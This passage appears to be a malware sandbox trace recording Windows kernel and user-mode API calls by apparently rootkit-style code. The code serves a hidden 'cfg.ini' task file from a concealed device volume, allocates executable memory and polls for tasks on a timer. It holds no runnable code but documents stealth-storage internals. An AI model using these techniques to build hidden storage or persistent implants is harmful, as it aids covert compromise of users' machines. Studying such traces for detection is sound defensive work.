FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.001] KeLeaveCriticalRegion () [0122.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.001] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.001] KeEnterCriticalRegion () [0122.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0b000 [0122.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.001] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.001] IdePortDispatch () returned 0x103 [0122.001] KeWaitForMutexObject () returned 0x0 [0122.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.001] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.001] IdePortDispatch () returned 0x103 [0122.001] KeWaitForMutexObject () returned 0x0 [0122.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.001] KeLeaveCriticalRegion () [0122.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.002] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.002] KeEnterCriticalRegion () [0122.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] KeLeaveCriticalRegion () [0122.002] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.002] KeEnterCriticalRegion () [0122.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.002] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] KeLeaveCriticalRegion () [0122.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.002] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.002] KeEnterCriticalRegion () [0122.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] ExFreePoolWithTag (P=0xfffffa8003be22f0, Tag=0x0) [0122.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.002] KeLeaveCriticalRegion () [0122.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.002] ReleaseMutex (hMutex=0xf0) returned 1 [0122.002] Sleep (dwMilliseconds=0x927c0) [0122.017] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.017] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.017] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.017] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.017] KeEnterCriticalRegion () [0122.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.017] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.017] IdePortDispatch () returned 0x103 [0122.017] KeWaitForMutexObject () returned 0x0 [0122.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.017] KeLeaveCriticalRegion () [0122.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.017] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.017] KeEnterCriticalRegion () [0122.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.017] KeLeaveCriticalRegion () [0122.018] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.018] KeEnterCriticalRegion () [0122.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.018] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.018] IdePortDispatch () returned 0x103 [0122.018] KeWaitForMutexObject () returned 0x0 [0122.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.018] KeLeaveCriticalRegion () [0122.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.018] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.018] KeEnterCriticalRegion () [0122.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c10000 [0122.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.018] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.018] IdePortDispatch () returned 0x103 [0122.018] KeWaitForMutexObject () returned 0x0 [0122.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.018] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.018] IdePortDispatch () returned 0x103 [0122.019] KeWaitForMutexObject () returned 0x0 [0122.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.019] KeLeaveCriticalRegion () [0122.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.019] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.019] KeEnterCriticalRegion () [0122.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.019] KeLeaveCriticalRegion () [0122.019] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.019] KeEnterCriticalRegion () [0122.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.019] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.019] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.020] KeLeaveCriticalRegion () [0122.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.020] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.020] KeEnterCriticalRegion () [0122.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.020] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.020] KeLeaveCriticalRegion () [0122.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.020] ReleaseMutex (hMutex=0xf0) returned 1 [0122.020] Sleep (dwMilliseconds=0x927c0) [0122.035] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.035] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.035] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.035] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.035] KeEnterCriticalRegion () [0122.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.035] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.035] IdePortDispatch () returned 0x103 [0122.035] KeWaitForMutexObject () returned 0x0 [0122.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.035] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.035] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.035] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.035] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.035] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22f0 [0122.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.035] KeLeaveCriticalRegion () [0122.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.036] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.036] KeEnterCriticalRegion () [0122.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.036] KeLeaveCriticalRegion () [0122.036] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.036] KeEnterCriticalRegion () [0122.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.036] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.036] IdePortDispatch () returned 0x103 [0122.036] KeWaitForMutexObject () returned 0x0 [0122.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.036] KeLeaveCriticalRegion () [0122.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.036] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.036] KeEnterCriticalRegion () [0122.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c15000 [0122.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.036] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.036] IdePortDispatch () returned 0x103 [0122.036] KeWaitForMutexObject () returned 0x0 [0122.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.037] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.037] IdePortDispatch () returned 0x103 [0122.037] KeWaitForMutexObject () returned 0x0 [0122.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.037] KeLeaveCriticalRegion () [0122.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.037] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.037] KeEnterCriticalRegion () [0122.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.037] KeLeaveCriticalRegion () [0122.037] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.037] KeEnterCriticalRegion () [0122.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.038] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] KeLeaveCriticalRegion () [0122.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.038] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.038] KeEnterCriticalRegion () [0122.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] ExFreePoolWithTag (P=0xfffffa8003be22f0, Tag=0x0) [0122.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] KeLeaveCriticalRegion () [0122.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.038] ReleaseMutex (hMutex=0xf0) returned 1 [0122.038] Sleep (dwMilliseconds=0x927c0) [0122.052] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.052] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.052] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.052] KeEnterCriticalRegion () [0122.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.052] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.052] IdePortDispatch () returned 0x103 [0122.052] KeWaitForMutexObject () returned 0x0 [0122.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.053] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.053] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.053] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.053] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.053] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e60 [0122.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] KeLeaveCriticalRegion () [0122.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.053] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.053] KeEnterCriticalRegion () [0122.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] KeLeaveCriticalRegion () [0122.053] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.053] KeEnterCriticalRegion () [0122.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.053] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.053] IdePortDispatch () returned 0x103 [0122.053] KeWaitForMutexObject () returned 0x0 [0122.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] KeLeaveCriticalRegion () [0122.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.053] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.053] KeEnterCriticalRegion () [0122.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1a000 [0122.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.054] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.054] IdePortDispatch () returned 0x103 [0122.054] KeWaitForMutexObject () returned 0x0 [0122.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.054] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.054] IdePortDispatch () returned 0x103 [0122.054] KeWaitForMutexObject () returned 0x0 [0122.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.054] 